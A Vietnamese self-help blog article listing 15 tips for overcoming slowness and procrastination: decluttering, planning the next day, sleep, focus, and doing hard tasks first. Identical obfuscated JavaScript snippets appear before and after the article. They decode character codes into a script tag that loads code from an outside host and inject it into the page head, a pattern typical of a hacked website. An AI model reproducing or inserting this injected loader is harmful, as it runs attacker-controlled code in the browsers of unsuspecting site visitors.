Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
15 “bí kíp” thoát khỏi sự chậm chạp, ù lì

15 “bí kíp” thoát khỏi sự chậm chạp, ù lì

Xã hội ngày càng hiện đại, cuộc sống ngày càng tất bật, con người cuốn theo theo vòng quay cuộc sống. Sau mỗi giờ tan tầm, bạn muốn cố gắng để hoàn thành công việc trước thời hạn, nhưng sựu chậm chạp, ù lì và thói thích trì hoãn đã trở thành một bản chất của bạn. Jade House sẽ chia sẻ những “bí kíp” nhỏ nhưng có võ để giúp bạn thoát khỏi những thói quen tưởng như cố hữu đó nhé!

Bí kíp 1

Hãy dọn dẹp căn phòng của mình và máy tính của bạn; thẳng tay vứt đi những thứ đã quá lâu không mặc, không dùng đến. Bí kíp này vô cùng hiệu quả với những con sâu bừa bộn nhé!

Sự vô tổ chức là một trong những nguyên nhân hàng đầu dẫn tới tốc độ làm việc suy giảm. Bởi vậy, hãy loại trừ nguyên nhân gây tình trạng “rùa bò” này bằng cách dọn dẹp căn phòng của mình; loại bỏ những vật dụng đã lâu không sử dụng; sắp xếp lại đồ đạc trong phòng một cách khoa học và có tính thẩm mỹ. Loại bỏ những file không cần thiết trên máy tính của bạn. Hãy tạo ra những tệp việc cần phải làm ngay và những việc có thể làm sau. Bên cạnh đó, hãy tạo ra những tệp khác để công việc diễn ra thật dễ dàng.

Bí kíp 2

Những thứ không quan trọng chỉ quyết định trong 3 giây: Có là Có, Không là Không

Phương pháp này vô cùng hiệu quả giúp bạn tiết kiệm thời gian và dọn dẹp sạch sẽ hoàn toàn những thứ hay công việc không quan trọng. Thay vì đắn đo, phân vân giữa lựa chọn đi chơi hay ở nhà thì hãy quyết định chúng trong vòng 3 giây và sau đó loại bỏ chúng hoàn toàn ra khỏi đầu bạn. Hãy nghĩ về những việc hữu ích hơn.

Bí kíp 3

Bí kíp này có tên là Nói là Làm. Bất cứ khi nào cảm thấy bản thân đang trì trệ, đếm từ 1 đến 3 là đứng lên và làm luôn.

Cứ trì trệ là bạn sẽ cảm thấy bản thân tự dưng lười khủng khiếp đúng không nào. Vậy làm thế nào để thoát khỏi tình trạng “trì trệ” kinh khủng đó. Nhấc cái mông lên và bắt tay vào làm ngay! Bạn phải kiên định và làm thường xuyên để tạo thành thói quan Nói là Làm để sự trì trệ không có cơ hợi chiếm lĩnh toàn bộ tâm trí của bạn.

Bí kíp 4

Không nhượng bộ cho bản thân, bỏ ngay thói quen “thôi một phút nữa mình sẽ làm” hay “trì hoãn”. Đây là bí kíp tiêu diệt hoàn toàn virus “trì hoãn”

Thói quen tai hại này cần loại bỏ ngay tức khắc! Trì hoãn những thói quen của con người có xu hướng để chậm lại, tự hoãn lại, chưa muốn bắt tay vào làm ngay một công việc phải làm, hoặc có tâm lý chờ và để một thời gian sau đó mới thực hiện. Có một dự án đang cần bạn hoàn thành gấp cho kịp deadline, bạn đang dồn hết tâm trí và sự tập trung vào đó. Đột nhiên, bạn nảy ra ý định rằng, mình hôm nay chưa lướt “Newsfeed” trên Facebook để cập nhật tin tức thì phải. Deadline trôi tuột đi đằng nào mất rồi. Hãy sử dụng Google Calender để lập lịch trình cho các nhiệm vụ và các việc cần làm. Một số khác ghi chép bằng sổ tay. Trên mạng cũng có nhiều công cụ khác để nhắc việc cho bạn như Remember the Milk hay Workflowy.

Bí kíp 5

Tìm kiếm sự giúp đỡ

Nếu bạn chỉ hay chậm chạp đối với một số dạng công việc nhất định, chẳng hạn những việc khiến bạn cảm thấy buồn chán hoặc phải mất nhiều thời gian để làm xong, hãy cân nhắc đề nghị ai đó hỗ trợ bạn. Ví dụ, bạn làm đồ họa rất chậm, nhưng anhA/chị B có thể làm việc này xong trong vài phút, hãy nhờ anh/chị đó giúp. Đổi lại, bạn có thể giúp họ với những kỹ năng giỏi của bạn trong trường hợp họ cần.

Bí kíp 6

Viết ra các mục tiêu cần hoàn thành vào ngày mai trước khi đi ngủ

Với quá nhiều thứ xảy ra trong một ngày, đôi khi bạn sẽ mất tập trung vào việc mà bạn cần hoàn thành. Đó là lý do tại sao những người làm việc hiệu quả luôn xem lại lịch làm việc và lên kế hoạch cho ngày hôm sau trước khi ngủ. Hãy áp dụng  tip thay-đổi-cuộc-đời này vào thói quen thường ngày của bạn:trước giờ ngủ, viết ít nhất 3-5 việc cần hoàn thành cho ngày hôm sau. Nếu bạn không làm việc này vì một vài lý do nào đó, bạn hãy làm nó vào sáng hôm sau, ngay khi thức dậy. Và đừng quên nhé, mỗi phút bạn dành ra để lên kế hoạch, sẽ tiết kiệm cho bạn 10 phút khi tiến hành

Bí kíp 7

Đi ngủ sớm để dậy được sớm. Bạn sẽ có thời gian yên tĩnh sắp xếp đâu ra đấy cuộc đời mình ngay từ đầu ngày

Thức quá khuya và phải đi làm vào sáng sớm hôm sau, bạn sẽ khó tập trung và ghi nhớ. Ngủ đủ 8 tiếng sẽ giải quyết được những vấn đề này. Ngủ đủ và ngon giấc giúp bạn tập trung hơn nhờ sảng khoái, từ đó xử lý công việc được thuận lợi và năng suất.

Bí kíp 8

Ăn đủ chất dinh dưỡng. Bí kíp tuyệt vời giúp bạn luôn có một cơ thể khỏe mạnh về thể lực và trí lực.

Dinh dưỡng hợp lý là nền tảng của sức khỏe và trí tuệ. Một chế độ dinh dưỡng hợp lý đáp ứng đủ nhu cầu cơ thể trong các giai đoạn khác nhau của chu kỳ vòng đời sẽ tạo ra sự tăng trưởng và phát triển tối ưu cho thai nhi và trẻ nhỏ, cũng như phòng chống hữu hiệu với đa số bệnh tật để có một thể lực khỏe mạnh, sức khỏe tốt, năng suất lao động cao và chất lượng cuộc sống tốt cho mọi lứa tuổi.

Bí kíp 9

Tập trung vào công việc hiện tại. Đầu óc cứ bay bổng trên mây khiến tốc độ làm việc của bạn cũng sẽ chậm đi đáng kể đấy!

Sự tập trung cũng giống như cơ bắp, nếu rèn luyện đúng đắn, sức mạnh và kích thước cũng sẽ tăng lên. Bạn có thể rèn luyện sự tập trung cho não bằng cách tăng dần thời gian tập trung của mình lên: 30 phút, 1 tiếng, 1.5 tiếng…Bạn hãy ghi chép lại sự tiến bộ của mình.

Bí kíp 10

Hãy sử dụng thời gian hợp lý

Mỗi ngày trôi qua đều rất nhanh khiến chúng ta tất bật và không còn khả năng để kiểm soát các công việc sao cho trôi chảy và hoàn thiện trước hạn định. Tất cả dường như theo một cái guồng máy để bắt kịp thời gian.

Bí kíp 11

Đừng “nhảy” giữa việc này với việc khác

Khi bạn bỏ dở công việc đang làm để chuyển sang kiểm tra email hoặc Facebook, bạn đã để mất khả năng tập trung vào nhiệm vụ còn dang dở. Cho dù bạn đã tự nhủ với bản thân điều gì, thì làm nhiều việc cùng lúc sẽ không thể khiến bạn làm hiệu quả hơn. Hãy vạch ra những khoảng thời gian cố định, có thể chỉ là 20 phút, chỉ để tập trung vào công việc quan trọng nhất mà bạn phải hoàn thành.

Bí kíp 12

Làm việc khó trước!

Để dành nhiệm vụ “khó nhằn” nhất cho tới phút chót có thể sẽ làm chậm tiến độ làm việc của bạn, vì bạn sẽ nghĩ về nó ở một mức độ nào đó trong suốt quá trình bạn làm việc. Hãy cố gắng hoàn thành việc khó trước. Làm xong việc khó, bạn hết lo lắng, cảm thấy thoải mái để làm tiếp những việc còn lại.

Bí kíp 13

Tạo ra môi trường làm việc lý tưởng cho bạn

Nếu bạn làm việc hiệu quả nhất khi đeo headphone nghe nhạc hoặc đi dạo chân trần trong công viên, hãy áp dụng những cách đó (tất nhiên với điều kiện được sếp của bạn đồng ý). Bạn sẽ làm được nhiều việc hơn nếu ở trong môi trường mà bạn thích và có cảm hứng.

Bí kíp 14

Chăm sóc bản thân thay vì lo lắng về những thất bại và sai lầm

Có rất nhiều người thành đạt kiếm được rất nhiều tiền, song thường xuyên bị khủng hoảng về tinh thần và thể chất. Dần dần họ bị dấn chìm trong cảm giác căng thẳng và sợ thất bại cũng như không thể tìm thấy lối thoát cho bản thân. Hãy ưu tiên chăm sóc bản thân bằng cách luyện tập thể chất và thư giãn trước khi lo lắng về những điều ngoài vòng kiểm soát của chính mình.

Bí kíp 15

Tự thưởng cho mình những giờ giải lao

Thay vì “cắm đầu cắm cổ” cả ngày vào công việc, hãy dành ra những phút giải lao, thư giãn để phục hồi sinh lực. Nhưng một vấn đề cần lưu ý là, những cuộc nghỉ giải lao này chỉ nên được thực hiện sau khi bạn hoàn thành một phần việc nhất định. Nếu không có những giờ phút giải lao, bạn sẽ cảm thấy kiệt quệ và mệt mỏi, từ đó làm việc kém hiệu quả hơn.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();